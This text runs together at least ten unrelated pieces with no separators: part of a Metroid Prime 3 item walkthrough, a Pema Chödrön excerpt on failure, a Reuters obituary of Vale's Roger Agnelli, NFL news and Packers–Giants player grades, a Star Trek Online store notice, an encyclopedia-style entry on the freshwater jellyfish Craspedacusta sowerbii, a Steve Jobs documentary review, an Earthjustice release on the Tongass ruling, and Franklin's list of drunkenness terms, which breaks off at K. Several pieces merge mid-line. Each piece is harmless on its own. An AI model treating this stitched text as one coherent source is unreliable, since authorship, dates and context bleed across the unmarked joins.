U-shaped section of the tunnel. Use the boost ball and boost yourself up as high as you can get on the left side, holding Z while you do so to stick to the spider ball track when you get high enough. Once you are on the track, follow it to the right as far as you can go then let go of Z to drop off. You'll land on a small block. From here you'll need to perform some pretty tricky jumping from one block to the other to reach the expansion. If you fall off, don't worry, just boost back up the U-shaped tunnel and back onto the spider ball track to try again. Item checklist: 85/100 6.18 HAZARD SHIELD ****************** Ability Location: You'll find this ability (well, it's actually a suit upgrade) in the Craneyard in Pirate Research. Remember how you needed to spin the centre pillar earlier to get to Missile Expansion 43? To get that item you needed to spin the pillar so you could use the air jets to get up. To get the hazard shield, spin both the lower and upper halves of the pillar so you can access a spider ball track and roll to the left. Follow the tube after that to get into a little side room with the upgrade. Missile Expansions: 2 Energy Tanks: 1 Ship Missile Expanions: 0 Energy Cells: 0 ***Note*** You may want to get Energy Tank 13 listed below before getting the following two missile expansions. Missile Expansion 44: Pirate Homeworld Mines - Phazon Quarry Head to the Pirate Mines, which you can only access once you can walk through acid rain, and from there make your way into the Phazon Quarry. Here, you'll see a terminal you can interact with behind some glass at the back of the room. Operate the terminal and this brings out a drill that you can use to drill away two sections of rock. One reveals a half-pipe you'll need to boost up to progress further into the mines, the other reveals the missile expansion. Simply jump into the newly created gap to grab it. Missile Expansion 45: Bryyo - Fuel Gel Pool There's a bit of backtracking involved to get this one. Once you have the Hazard Shield, fly back to Bryyo and land in the Hangar Bay. From there, backtrack into the Hidden Court, and from there find your way back to the Fuel Gel Pool (where you picked up the golem head earlier). Jump into the fuel gel and walk forward, through the fuel gel pouring out of the far wall. This leads into a little hidden tunnel where you'll find the missile expansion. Technically, you could get this one once you've moved the golem head from this room by jumping through the fuel gel, but that's dangerous. It's much easier and safer to get this once you've got the hazard shield. Energy Tank 13: Pirate Homeworld Research - Metroid Creche Head in to the Metroid Creche room in Pirate Research, which you can only reach once you can walk through acid rain. There's a puzzle to solve in this room, but don't worry, it won't take long to solve. Activate one of the spinners on the floor, continually boosting until it rises up high enough that it shoots you out so you get stuck in a bomb slot on the ceiling. Activate the slot, then head to the newly activated spinner and repeat the process. Once the second slot is activated, you'll need to repeat the process again on the third spinner that's on the slightly raised area...but before you can, you'll need to fight another Metroid Hatcher. Once it's killed, the spinner will activate. Instead of shooting you into a bomb slot, this one will shoot you into a tube you can roll through as a morph ball. When you get about halfway along this tube, you'll see the tube has been destroyed a little and there's a spider ball track conveniently placed near the hole. Stick to it and follow the track, boosting across the gaps where necessary, and you'll eventually drop into another tube. Follow this to reach the energy tank. Item checklist: 89/100 6.19 NOVA BEAM ************** Ability Location: You'll be able to obtain this ability in the Main Cavern of the Pirate Mines. Missile Expansions: 2 Energy Tanks: 0 Ship Missile Expanions: 1 Energy Cells: 1 Missile Expansion 46: Pirate Homeworld Mines - Phazon Mine Entry After acquiring the Nova Beam, head out the door you went in to get into the nova beam room, turn to the left then left again and you should see a green nova beam door. Shoot it to open it and head through into the Phazon Mine Entry room. Here you'll see a big phazite panel. Use the x-ray visor to spot the points you need to shoot and shoot them with your nova beam to remove the phazite wall. Kill the metroid that comes out to attack you, and grab the missile expansion that's sitting in the corner. ***Note*** You may want to pick up Ship Missile Expansion 7 and Energy Cell 9 below before continuing to get the next missile expansion. Missile Expansion 47: Bryyo Fire - Temple of Bryyo More backtracking, this time to Bryyo Fire. Once you are there find your way back to the Temple of Bryyo, which is the big round room you battled Rundas in. Use the x-ray visor on the phazite panel on the wall, and shoot the lights with your nova beam to open up the floor plate. Enter morph ball mode and roll through the fuel gel to find this expansion, which is actually half-submerged in the fuel gel, making it a little difficult to spot. Ship Missile Expansion 7: Pirate Homeworld Research - Processing Access Go back to Pirate Research and back into the Processing Access room, which is the room with invisible laser beams that trip the alarm systems. Between the two sets of laser beams, you enter an area with two phazite platings on opposite walls. Use the x-ray visor combined with the nova beam to activate the switches behind these two walls, and this opens up the ceiling revealing screw attack walls. So you know what to do. Jump up there and screw attack from wall to wall until you reach the top, where you'll find the ship missile expansion protected by some kind of energy barrier. Shoot a few missiles at it to get rid of it, and the expansion is yours. Energy Cell 9: Pirate Homeworld Mines - Phazon Quarry Woohoo, the last energy cell! And it's actually really easy to find, too. After getting the nova beam, head out the door you went though to get into the nova beam room and look directly ahead of you. Use the x-ray visor and nova beam combo to shoot the switches through the phazite wall, and this then activates the terminal next to the wall. Interact with the terminal to lower the wall and proceed through the door into the next room, Drill Shaft 2. Again, using the x-ray visor to see through the phazite in the missile of the drill, and shoot the small ball in the middle with the nova beam. This will cause the drill to rise. Drop into the newly created hole and you are back in the Phazon Quarry, but in an upper area you couldn't reach before. Turn to the right and you'll see the energy cell. Pull it out. Item checklist: 94/100 6.20 HYPER |
I thought I would tell you this little story about Naropa University’s founder, Chögyam Trungpa Rinpoche, and my very first one-on-one interview with him. This interview occurred during the time when my life was completely falling apart, and I went there because I wanted to talk about the fact that I was feeling like such a failure and so raw.
But when I sat down in front of him, he said, “How is your meditation?”
I said, “Fine.”
And then we just started talking, superficial chatter, until he stood up and said, “It was very nice to meet you,” and started walking me to the door. In other words, the interview was over.
And so at that point, realizing the interview was over, I just blurted out my whole story:
My life is over.
I have hit the bottom.
I don’t know what to do.
Please help me.
And here is the advice Trungpa Rinpoche gave me. He said, “Well, it’s a lot like walking into the ocean, and a big wave comes and knocks you over. And you find yourself lying on the bottom with sand in your nose and in your mouth. And you are lying there, and you have a choice. You can either lie there, or you can stand up and start to keep walking out to sea.”
So, basically, you stand up, because the “lying there” choice equals dying.
Metaphorically lying there is what a lot of us choose to do at that point. But you can choose to stand up and start walking, and after a while another big wave comes and knocks you down.
You find yourself at the bottom of the ocean with sand in your nose and sand in your mouth, and again you have the choice to lie there or to stand up and start walking forward.
“So the waves keep coming,” he said. “And you keep cultivating your courage and bravery and sense of humor to relate to this situation of the waves, and you keep getting up and going forward.”
This was his advice to me.
Trungpa then said, “After a while, it will begin to seem to you that the waves are getting smaller and smaller. And they won’t knock you over anymore.”
That is good life advice.
It isn’t that the waves stop coming; it’s that because you train in holding the rawness of vulnerability in your heart, the waves just appear to be getting smaller and smaller, and they don’t knock you over anymore.
“Fail better” means you begin to have the ability to hold what I call “the rawness of vulnerability” in your heart.
So what I’m saying is: fail. Then fail again, and then maybe you start to work with some of the things I’m saying. And when it happens again, when things don’t work out, you fail better. In other words, you are able to work with the feeling of failure instead of shoving it under the rug, blaming it on somebody else, coming up with a negative self-image—all of those futile strategies.
“Fail better” means you begin to have the ability to hold what I call “the rawness of vulnerability” in your heart, and see it as your connection with other human beings and as a part of your humanness. Failing better means when these things happen in your life, they become a source of growth, a source of forward, a source of, “out of that place of rawness you can really communicate genuinely with other people.”
Your best qualities come out of that place because it’s unguarded and you’re not shielding yourself. Failing better means that failure becomes a rich and fertile ground instead of just another slap in the face. That’s why, in the Trungpa Rinpoche story that I shared, the waves that are knocking you down begin to appear smaller and have less and less of an ability to knock you over. And actually maybe it is the same wave, maybe it’s even a bigger wave than the one that hit last year, but it appears to you smaller because of your ability to swim with it or ride the wave.
And it isn’t that failure doesn’t still hurt. I mean, you lose people you love. All kinds of things happen that break your heart, but you can hold failure and loss as part of your human experience and that which connects you with other people.
Adapted from Fail, Fail Again, Fail Better: Wise Advice for Leaning into the Unknown by Pema Chodron. Copyright © 2015 by Pema Chodron. To be published by Sounds True in September 2015.SAO PAULO(Reuters) - Roger Agnelli, the Brazilian banker who turned Vale SA VALE5.SA into the world’s No. 1 iron ore producer, died on Saturday in a plane crash. He was 56.
Former Vale CEO Roger Agnelli poses for a photograph during an interview with Reuters in London in this April 19, 2013 file photo. REUTERS/Suzanne Plunkett/Files
Agnelli, his wife and two children were among seven killed when his Comp Air 9 turboprop monoplane slammed into two homes around 3:20 p.m. local time (1820 GMT), minutes after taking off from an airport in northern São Paulo, authorities said.
“We have lost a Brazilian of extraordinary entrepreneurial vision,” President Dilma Rousseff said in a statement Sunday, adding that Agnelli had devoted his career to big Brazilian companies and shown commitment to the development of his country.
Sources said Agnelli was traveling to a wedding ceremony in Rio de Janeiro with his wife Andréia, son João, daughter Anna Carolina, and their two spouses. The weather was clear at the time of the crash.
In a statement, Vale said it learned of Agnelli´s death with “immense sadness” and said his 10-year tenure at the company had intensified its global expansion and transformation into a major global player.
Known for his discipline and feisty nature, Agnelli clinched the top job at Vale in July 2001 after 19 years as a corporate and investment banker with Banco Bradesco SA (BBDC4.SA), a major Vale shareholder.
He instilled a culture of meritocracy that helped make Vale Brazil’s No. 1 exporter. To friends and foes, the key to Agnelli’s success was accurately predicting the rise of China as a major minerals consumer, a crucial wager in turning Vale, a former bloated state-controlled firm, into a global powerhouse.
“He was a visionary that corporate Brazil will miss badly,” said Lawrence Pih, who for decades ran flour mill Grupo Pacífico SA and sat on the board at the São Paulo Federation of Industries with Agnelli.
In a Harvard Business Review’s ranking of the world’s best-performing chief executive officers published in February 2013, Agnelli came fourth, only behind Apple Inc’s Steve Jobs, Amazon.com Inc’s Jeff Bezos and Samsung Group’s Yun Jong-Yong. He was the top mining CEO in the 100-executive ranking.
Agnelli earned the spot in the Harvard ranking after racking up a consolidated return of 934 percent during his tenure at Vale, whose market value more than doubled in the period.
KNACK FOR DEALS
Born on May 3, 1959 to a middle-class family in São Paulo, Brazil’s largest city, Roger Agnelli studied economics at Fundação Armando Alvares Penteado in his hometown.
He began his career at Bradesco’s corporate finance and investment banking division. His knack for engineering complex deals earned him praise from his bosses, who turned him into Bradesco’s youngest senior vice president at the age of 29.
At Vale, he implemented a turnaround based on tough goals. During his stint, revenues rose 13-fold and capital spending soared more than 20-fold.
“I get paid to produce results, and the results are there, aren’t they?” Agnelli told Valor Econômico newspaper in an interview in 2010.
However, running Vale as a multinational put him on a collision course with Brazil’s ruling Workers’ Party, which wanted Vale to shift from exporting raw minerals to more value-added products such as steel and fertilizers to create more jobs.
The government has influence in the company through indirect stakes held by state pension funds.
Agnelli clashed with former President Luiz Inácio Lula da Silva for firing 2,000 workers in the wake of the global financial crisis of 2008. Months later, he accused members of Lula’s left-leaning party of trying to install loyalists at Vale and seek a bigger say in key decisions.
His brash style upset clients in Europe and Japan, as well as regional governments and politicians that were crucial for a company that depended on government permits, according to former employees who asked not to be named.
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Lula’s successor, Rousseff, stepped up pressure on Agnelli and succeeded in pushing him out in May 2011, just months after she took office.
Rousseff and Lula, who she named last week as her chief of staff, are facing a growing corruption probe at state firms. Vale has not been named in the probe nor is it under investigation.
Following his departure from Vale, Agnelli founded AGN Participações Ltda and teamed up with Grupo BTG Pactual SA in a mining joint venture.USC offensive tackle Matt Kalil has decided to forgo his senior season and seek entry into the 2012 NFL draft.
"The decision to leave USC after my junior year was not an easy one to make," Kalil said in a statement Friday. "I love this university. That's why it took a while to decide. I wanted to look at both sides of the decision and talk to a number of people. Ultimately, I sat down with my family, including my father and brother who both know the pro football experience, and I made the decision that is best for me.
"I realize that if I came back to USC next season, I could be part of some special things here and potentially win a national championship. That was very tempting. But in my research, I came to the conclusion that I can be the No. 1 tackle drafted and you can't go any higher than that. Now is the right time to go. It is a once-in-a-lifetime opportunity, so I have to take it."
ESPN senior NFL analyst Chris Mortensen first reported Kalil's decision.NYG-GB grades: Packers' stellar O-line play key to win over Giants
By PFF Analysis Team • Oct 10, 2016
Green Bay Packer 23, New York Giants 16
Here are the top-graded players and biggest takeaways from Packers 23-16 win over the Giants:
Quarterback grade: Eli Manning, 34.8
Manning earns third-consecutive below-average grade
Eli Manning recorded another poor performance on Sunday, with this one coming as his lowest-graded game of the year. Manning didn’t throw an interception, but he did have two dangerous passes that easily could have been picked, along with two fumbles on the night. Manning also failed to balance out the poor plays with good ones; he did not complete any of his five passes targeted 20+ yards downfield, and nearly 70 percent of his 191 passing yards came after the catch, the second-highest percentage of the week.
Top offensive grades:
G Justin Pugh 77.8
G John Jerry, 76.6
TE Will Tye 76.6
WR Odell Beckham Jr. 75.6
HB Bobby Rainey 72.5
Tackles struggle in pass protection while interior line plays well
It was a rough night for Ereck Flowers and Bobby Hart in pass protection, regardless of who lined up across from them. Hart allowed a sack, two hits, and four hurries, while Flowers allowed seven total pressures of his own. Flowers also had another sack and hurry nullified by penalties on the plays; otherwise, he would have had nine pressures allowed in 42 snaps in pass protection. The interior linemen fared better, allowing just two hurries between the three of them. The Giants once again struggled to run the ball, gaining just 42 yards on 14 carries, with 25 yards coming after contact. Bobby Rainey’s 14-yard run was the only one over six yards, and outside of that run, the Giants barely averaged 2 yards per carry.
Top defensive grades:
LB Keenan Robinson, 89.1
CB Janoris Jenkins, 85.0
DT Jonathan Hankins, 73.1
CB Eli Apple, 68.7
CB Dominique Rodgers-Cromartie, 65.6
Coverage outstanding in tough situation
It’s difficult in the NFL to cover for two seconds, let alone four or five, but the latter is what the Giants’ secondary was consistently asked to do with a dismal pass-rush in front of them. Janoris Jenkins got picked on the most, giving up five catches for 60 yards, but he also made the most plays, intercepting two balls and breaking up another. Maybe the most impressive performance, though, was that of linebacker Keenan Robinson, who was targeted four times and didn’t allow a single catch. Heading into the game, he had allowed 12-of-14 targets on the year to be caught, and didn’t have a single pass breakup.
Quarterback grade: Aaron Rodgers, 79.0
Rodgers gets plenty of help from O-line
Rodgers definitely wasn’t sharp Sunday night, but for the most part, the good outweighed the bad. He was given an incredible amount of time from the Packers’ offensive line, but the majority of his best plays came in rhythm. On 19 throws (including plays negated by penalties) coming in 2.5 seconds or less, Rodgers completed 12 attempts, gained 158 yards, and had a passer rating of 103.2. On 29 throws coming after 2.5 seconds, Rodgers completed 13 attempts, gained 151 yards, and had a passer rating of 40.9.
Top offensive grades:
WR Randall Cobb, 88.5
C J.C. Tretter, 86.5
FB Aaron Ripkowski, 84.0
RG T.J. Lang, 82.7
LT David Bakhtiari, 82.3
Pass protection on another level
I’m not sure I’ve seen a modern NFL game with an offensive line as dominant in pass protection as the Packers’ on Sunday night. On 50 dropbacks, the Green Bay starting five allowed a grand total of seven pressures between them. And it’s not because Rodgers was back there working quick passes and screens; no, the Packers’ quarterback had the longest average time to throw of any QB in the league this week, at 3.28 seconds. That’s an eternity in the NFL, and the difference in offensive-line play was the difference in the game.
Top defensive grades:
OLB Kyler Fackrell 82.3
OLB Nick Perry 80.1
DE Mike Daniels 79.7
S Micah Hyde 77.7
DE Letroy Guion 76.3
Packers’ pass-rush gets to Manning, secondary slows down receivers
Green Bay had four different defenders with three or more pressures, led by Nick Perry and rookie Kyler Fackrell. After not living up to his first-round draft status his first four years, Perry is finally coming into his own this season. With six pressures on the night, he now had 22 in four games for the third-highest pass rushing productivity rating among 3-4 outside linebackers. Fackrell had a sack, a hit, hurry, and a forced fumbled on just 12 pass-rush snaps. In the secondary, even without Sam Shields and Damarious Randall, the Packers’ held Odell Beckham Jr. in check with five catches for 56 yards.
PFF Game-Ball Winner: Packers WR Randall Cobb
PFF’s player grading process includes multiple reviews, which may change the grade initially published in order to increase its accuracy. Learn more about how we grade and access grades for every player through each week of the NFL season by subscribing to Player Grades.Greetings, Captains!
We are pleased to announce that we are adding R&D Research XP Boosts to the Zen Store as of February 5th, 2015.
The new R&D Research XP Boosts come in two sizes: A small boost which will grant 2,000 R&D Bonus Pool and a large boost which grants 10,000 R&D Bonus Pool. Each of these bonus pools, once applied, will increase the R&D Research XP earned in any R&D School by 20% until the pool is consumed.
Purchasing a boost will place the item in your inventory. Activating the item will then add the points to your total R&D Research XP Bonus Pool, which can be viewed in the upper left corner of your HUD where other boost totals are located. Multiple boosts can be applied, each time increasing your total Bonus Pool.
The small boost will cost 200 Zen while the large boost will be 800 Zen. These boosts may be traded or sold on the Exchange.
Discuss in the forums.Craspedacusta sowerbii Scientific classification Kingdom: Animalia Phylum: Cnidaria Class: Hydrozoa Order: Limnomedusae Family: Olindiidae Genus: Craspedacusta Species: C. sowerbii Binomial name Craspedacusta sowerbii
Lankester, 1880 Synonyms Craspedacusta kawaii (Oka, 1907)
Craspedacusta kiatingi Gaw & Kung, 1939
Craspedacusta sowerbii yongkangensis Wang & Xu, 2004
Craspedacusta sowerbyi Lankester, 1880 [lapsus]
[lapsus] Limnocodium kawaii Oka, 1907
Limnocodium victoria Allman, 1880
Microhydra germanica Roch, 1924
Microhydra ryderi Potts, 1885
Craspedacusta sowerbii is a freshwater jellyfish in the phylum Cnidaria. Since it is classified as a hydrozoan, it is one of many jellyfish that are also known as hydromedusae. Hydromedusan jellyfish differ from scyphozoan jellyfish because they have a muscular, shelf-like structure called a velum on the ventral surface, attached to the bell margin. Originally from the Yangtze basin in China, C. sowerbii is an invasive species now found throughout the world in bodies of fresh water.[1]
Form [ edit ]
C. sowerbii medusae are about 20–25 mm (approximately 1 in.) in diameter, somewhat flatter than a hemisphere, and very delicate, when fully grown. They have a whorl of up to 400 tentacles tightly packed around the bell margin. Hanging down from the center of the inside of the bell is a large stomach structure called a manubrium, with a mouth-opening with four frilly lips. Circulation of nutrients is facilitated by four radial canals which originate at the edges of the stomach (manubrium), and which are also connected to a ring canal, located near the bell margin. Most of the body is transparent or translucent, with a whitish or greenish tinge. The (usually) four large flat sex organs (gonads) are attached to the four radial canals, and are usually opaque white. The many tentacles each contain thousands of cells called cnidocytes, which contain nematocysts (also known as cnidocysts), and are used to capture prey and pass it to the mouth. Food is taken in the mouth opening, and waste is finally expelled out of the same opening.
Habitat and distribution [ edit ]
C. sowerbii is native to the Yangtze basin in China, but has been introduced widely around the world (the only continent where not found is Antarctica).[1] It is usually found in calm, freshwater reservoirs, lakes, impoundments, gravel pits or quarries. They have also been seen in slow-moving backwaters of river systems such as the Allegheny River, the Ohio River and the Tennessee River in the United States and the Wang Thong River of Thailand. They prefer standing water, and are not generally seen in fast flowing streams or rivers.
C. sowerbii has a global distribution - it has been found in countries on almost every continent and nearly every state in the United States (no reports yet from Montana, Wyoming, North Dakota, South Dakota, Alaska or Hawaii) and most provinces in Canada (no reports yet from Alberta, Saskatchewan).[2]
The medusa's appearance is sporadic and unpredictable from year to year. It is not uncommon for C. sowerbii to appear in a body of water where it had never been documented before, in very large numbers, and its appearance may even be reported on the local news.
On August 21, 2010, C. sowerbii was spotted and captured on the northwest corner of Falcon Lake in Manitoba, Canada. Scientists believe this is due to a recent heat wave in the Whiteshell Provincial Park area. It is proposed the C. sowerbii came to Falcon Lake on waterfowl originating from Star Lake, Manitoba, Canada. Falcon Lake along with Star Lake remain the only two confirmed sightings of C. sowerbii in Manitoba.[3]
C. sowerbii has been seen in Pennsylvanian lakes and reservoirs including Marsh Creek Lake, Downingtown/Eagle, PA Turnpike/Rt 100/Rt 401, SR 282 (2007,2008).[4]
It has been found in water reservoirs and artificial lakes in south-eastern Australia, including the Thorndon Park reservoir[5] and Lake Burley Griffin.[6]
It was reported in Panama in 1925, Chile in 1942, Argentina in 1950, Brazil in 1963, and in Uruguay in 1971.[7]
Since 2008 the freshwater jellyfish have been sighted every September and October in the Zhaojiaya Reservoir near Zhangjiajie, Hunan, China.[8]
It has been found in the Cauvery River and backwaters of the Hemavathi River in Karnataka, India[9] and in several lakes in Hungary.[10]
During the abnormal heat in the summer 2010 in Russia sightings of C. sowerbii were reported in the Moscow River.[11]
In June 2018 C. sowerbii was found by Curtis (Oceans Fury Unleashed) and Skott (NaturesTemper) during their filming of the St Helens canals in the UK. [12]
Feeding [ edit ]
C. sowerbii is a predator on zooplankton including daphnia and copepods. Prey is caught with their stinging tentacles. Drifting with its tentacles extended, the jelly waits for suitable prey to touch a tentacle. Once contact has been made, nematocysts on the tentacle fire into the prey, injecting poison which paralyzes the animal, and the tentacle itself coils around the prey. The tentacles then bring the prey into the mouth, where it is released and then digested.
Just like salt water jellyfish they do have stinging cells. However, these cnidocytes cells are used for paralyzing very tiny prey and have not been proven to have the capacity to pierce human skin.[13]
Life cycle [ edit ]
C. sowerbii begins life as a tiny polyp, which lives in colonies attached to underwater vegetation, rocks, or tree stumps, feeding and asexually reproducing during spring and summer. Some of these offspring are the sexually reproducing medusae. Fertilized eggs develop into small ciliated larvae called planula. The planula then settle to the bottom, and develop into polyps. However, the majority of C. sowerbii populations existing in the United States are either all male or all female, so there is no sexual reproduction in those populations.
During the cold winter months, polyps contract and enter dormancy as resting bodies called podocysts. It is believed that podocysts are transported by aquatic plants or animals to other bodies of water. Once conditions become favorable, they develop into polyps again.And there is very little argument to be had here: That’s exactly what Jobs did.
But how, exactly, did he do it? The method in the magic is the subject of Alex Gibney’s new documentary Steve Jobs: The Man in the Machine—think Going Clear, but about a person—which offers a decidedly unsympathetic treatment of the man who insisted that “computer” should be spelled with an “i.” The film isn’t arguing against Jobs’s membership in history’s elite cadre of Dent-Putters; it is arguing, though, that he—and we—deserve more than the empty conveniences of hagiography. It’s attempting to rethink Jobs’s legacy in a way that implicates the legend and complicates the lore. The film opens with images of the makeshift memorials erected in Jobs’s honor after his death in 2011. “It’s not often,” Gibney (the film’s narrator as well as its director) remarks, “that the whole planet seems to mourn a loss.”
Cut to a clip of a YouTubed tribute to Jobs starring a kid who looks to be about 10 years old. “He made the iPhone,” the young eulogist says. “He made the iPad. He made the iPod Touch. He made everything.”
It’s quite fair to say, with due respect to both the networked nature of invention and the severe limitations of the great man theory of history, that the kid is right: The iPhone, and the many other devices Apple has produced over the years, exist because of Steve Jobs. He may have been more of a “tweaker,” as Malcolm Gladwell put it, than an inventor, but he was the vision guy. And he was the sell-the-vision guy. Gibney acknowledges that. “He had the ability,” Regis McKenna, who designed Apple’s earliest and most ground-breaking marketing campaigns, tells the director in an interview, “to talk about what this computer could be … He gives people this feeling of forward movement.”
Jobs’s vision—informed by Buddhism and Bauhaus and calligraphy and poetry and humanism, a willful fusion of ars and techne—led to the machines into which so many of us pour our souls and our selves. He staffed Apple with people who “under different circumstances would be painters and poets,” but who in the digital age would choose computers as the medium through which “to express oneself to one’s fellow species.” He emphasized artistry, and spirituality. As Gibney’s voice-over points out: An iPhone’s screen, when the power has gone off and the light from beneath it has been extinguished, ends up reflecting its user.
All of which makes it tempting to ignore another thing about Steve Jobs: He could be, on top of so much else, a terrible person. Not just a jerk, occasionally and innocuously, but a bully and a tyrant. (“Bold. Brilliant. Brutal,” The Man in the Machine’s tagline sums it up.) Jobs regularly parked his unlicensed Mercedes in handicapped spots. He abandoned the mother of his unborn child, acknowledging his daughter only after a court case proved his paternity. He betrayed colleagues who stopped being useful to him. He made the still-useful ones cry. This is on top of the apparent disdain for charitable giving and the Gizmodo fiasco and the stock fraud suit and the many horrors of Foxconn.Juneau, AK —
In a major victory for America’s largest rainforest, the U.S. Court of Appeals for the Ninth Circuit struck down a Bush administration exemption of the Tongass National Forest from the “Roadless Rule,” a landmark conservation rule adopted in 2001 to protect nearly 60 million acres of wild national forests and grasslands from new road building and logging. The Court held the Bush administration failed to provide a reasoned explanation for reversing course on the Tongass. It concluded the Roadless Rule “remains in effect and applies to the Tongass.”
“Today’s decision is great news for the Tongass National Forest and for all those who rely on its roadless areas. The remaining wild and undeveloped parts of the Tongass are important fish and wildlife habitat and vital to residents and visitors alike for hunting, fishing, recreation, and tourism, the driving forces of the regional economy,” said Earthjustice attorney Tom Waldo.
“This decision saves the Tongass—again—and not just the Tongass, but hopefully, all old growth forests,” said Niel Lawrence, senior attorney and Alaska director for the Natural Resources Defense Council. “It ensures that all of this forest’s wildlands will be saved from timber sales and destructive logging roads.”
“The decision is consistent with the real transition Southeast Alaska has already made toward a diverse and resilient regional economy,” said Southeast Alaska Conservation Council Executive Director Malena Marvin. “We hope that our leaders, including Senator Lisa Murkowski, Governor Bill Walker, and Forest Supervisor Earl Stewart recognize that longterm economic prosperity for local communities means keeping the Tongass’s wild salmon strongholds working for fishing families, and supporting our booming tourism and fishing industries.”
“We applaud the court for striking down the misguided Bush-era plan to exempt the Tongass National Forest from the Roadless Rule. Today's decision ensures that this stunning wilderness will continue to be protected for the wildlife who inhabit it and those who enjoy it—for this generation and those that follow,” said Aaron Isherwood, Managing Attorney for the Sierra Club.
“The roadless areas on the Tongass are important habitat for wildlife species found only in America's rainforest,” said Rebecca Noblin, Alaska director of the Center for Biological Diversity. “This decision protects some of the last remaining stands of old-growth temperate rainforest in the world. Now it’s time to put a stop to all old-growth logging on the Tongass to save unique wildlife like Alexander Archipelago wolves.”
“The Tongass’ roadless rainforests are a national treasure, and the last, best intact wildlands in our bioregion,” said Gabriel Scott, Alaska legal director for Cascadia Wildlands. “We are pleased with the court’s decision, and urge the State of Alaska to stop with these wasteful legal battles and recognize that it is a privilege, not a burden, to conserve these national treasures for future generations.”
“Roadless areas in the Tongass provide important habitat for at-risk species, including the Alexander Archipelago wolf,” said Senior Policy Advisor for Federal Lands Peter Nelson at Defenders of Wildlife. “Today's decision is a pivotal win for the conservation of wildlife, watersheds and forests in the Tongass.”
“The roadless rule will help small businesses like ours,” said Hunter McIntosh of The Boat Company, which operates a small tour business in the region. “The natural values of intact watersheds are essential for the visitor industry in Southeast Alaska. Very few folks will pay to go see clearcuts and decaying logging roads. There are thousands of jobs in Southeast Alaska in recreation and tourism. And there are thousands more in the seafood industry, which depends critically on salmon spawning streams in the old growth forests of the Tongass.”
This case originated in 2009 when a diverse coalition of Alaska Native, tourism industry, and environmental organizations, represented by attorneys from Earthjustice and Natural Resources Defense Council, challenged the Bush Administration’s 2003 rule “temporarily” exempting the Tongass from the Roadless Rule. The Roadless Rule blocks expensive and controversial new logging roads and clearcuts in intact forests while allowing other economic development—including hydropower, transmission lines, mining, and tourism projects—to proceed. The Tongass—occupying most of Southeast Alaska—is the nation’s largest and wildest national forest. In 2011, a federal judge in Alaska ruled in the coalition’s favor, vacating the Tongass exemption and reinstating the Roadless Rule’s application to the Tongass. The State of Alaska then appealed the decision to the Ninth Circuit Court of Appeals, where a 3-judge panel last year reversed the Alaska judge’s opinion by a 2-1 split vote. Today’s order affirmed the district court’s decision and maintains protections for the roadless areas of the Tongass.
Attorneys from Earthjustice and the Natural Resources Defense Council represent the following groups in the case: Organized Village of Kake, The Boat Company, Alaska Wilderness Recreation and Tourism Association, Southeast Alaska Conservation Council, Natural Resources Defense Council, Tongass Conservation Society, Greenpeace, Wrangell Resource Council, Center for Biological Diversity, Defenders of Wildlife, Cascadia Wildlands, and Sierra Club.
Read the court decision.Originally published in The Pennsylvania Gazette in 1737, Ben Franklin wrote a comprehensive list of all terms meaning “drunk,” some of which are still in use, and a hundred more I wish were still common parlance. Pick your favorite and use it while out getting “oxycrocium” until it catches on.
Update 5/7/11: now available in a printable.pdf format so you can take it to the bar.
Nothing more like a Fool than a drunken Man. -Poor Richard.
‘Tis an old Remark, that Vice always endeavours to assume the Appearance of Virtue: Thus Covetousness calls itself Prudence; Prodigality would be thought Generosity; and so of others. This perhaps arises hence, that Mankind naturally and universally approve Virtue in their Hearts, and detest Vice; and therefore, whenever thro’ Temptation they fall into a Practice of the latter, they would if possible conceal it from themselves as well as others, under some other Name than that which properly belongs to it.
But DRUNKENNESS is a very unfortunate Vice in this respect. It bears no kind of Similitude with any sort of Virtue, from which it might possibly borrow a Name; and is therefore reduc’d to the wretched Necessity of being express’d by distant round-about Phrases, and of perpetually varying those Phrases, as often as they come to be well understood to signify plainly that A MAN IS DRUNK.
Tho’ every one may possibly recollect a Dozen at least of the Expressions us’d on this Occasion, yet I think no one who has not much frequented Taverns would imagine the number of them so great as it really is. It may therefore surprize as well as divert the sober Reader, to have the Sight of a new Piece, lately communicated to me, entitled
The DRINKERS DICTIONARY. A
He is Addled,
He’s casting up his Accounts,
He’s Afflicted,
He’s in his Airs. B
He’s Biggy,
Bewitch’d,
Block and Block,
Boozy,
Bowz’d,
Been at Barbadoes,
Piss’d in the Brook,
Drunk as a Wheel-Barrow,
Burdock’d,
Buskey,
Buzzey,
Has Stole a Manchet out of the Brewer’s Basket,
His Head is full of Bees,
Has been in the Bibbing Plot,
Has drank more than he has bled,
He’s Bungey,
As Drunk as a Beggar,
He sees the Bears,
He’s kiss’d black Betty,
He’s had a Thump over the Head with Sampson’s Jawbone,
He’s Bridgey. C
He’s Cat,
Cagrin’d,
Capable,
Cramp’d,
Cherubimical,
Cherry Merry,
Wamble Crop’d,
Crack’d,
Concern’d,
Half Way to Concord,
Has taken a Chirriping-Glass,
Got Corns in his Head,
A Cup to much,
Coguy,
Copey,
He’s heat his Copper,
He’s Crocus,
Catch’d,
He cuts his Capers,
He’s been in the Cellar,
He’s in his Cups,
Non Compos,
Cock’d,
Curv’d,
Cut,
Chipper,
Chickery,
Loaded his Cart,
He’s been too free with the Creature,
Sir Richard has taken off his Considering Cap,
He’s Chap-fallen, D
He’s Disguiz’d,
He’s got a Dish,
Kill’d his Dog,
Took his Drops,
It is a Dark Day with him,
He’s a Dead Man,
Has Dipp’d his Bill,
He’s Dagg’d,
He’s seen the Devil, E
He’s Prince Eugene,
Enter’d,
Wet both Eyes,
Cock Ey’d,
Got the Pole Evil,
Got a brass Eye,
Made an Example,
He’s Eat a Toad & half for Breakfast.
In his Element, F
He’s Fishey,
Fox’d,
Fuddled,
Sore Footed,
Frozen,
Well in for’t,
Owes no Man a Farthing,
Fears no Man,
Crump Footed,
Been to France,
Flush’d,
Froze his Mouth,
Fetter’d,
Been to a Funeral,
His Flag is out,
Fuzl’d,
Spoke with his Friend,
Been at an Indian Feast. G
He’s Glad,
Groatable,
Gold-headed,
Glaiz’d,
Generous,
Booz’d the Gage,
As Dizzy as a Goose,
Been before George,
Got the Gout,
Had a Kick in the Guts,
Been with Sir John Goa,
Been at Geneva,
Globular,
Got the Glanders. H
Half and Half,
Hardy,
Top Heavy,
Got by the Head,
Hiddey,
Got on his little Hat,
Hammerish,
Loose in the Hilts,
Knows not the way Home,
Got the Hornson,
Haunted with Evil Spirits,
Has Taken Hippocrates grand Elixir, I
He’s Intoxicated,
Jolly,
Jagg’d,
Jambled,
Going to Jerusalem,
Jocular,
Been to Jerico,
Juicy. K
He’s a King,
Clips the King’s English,
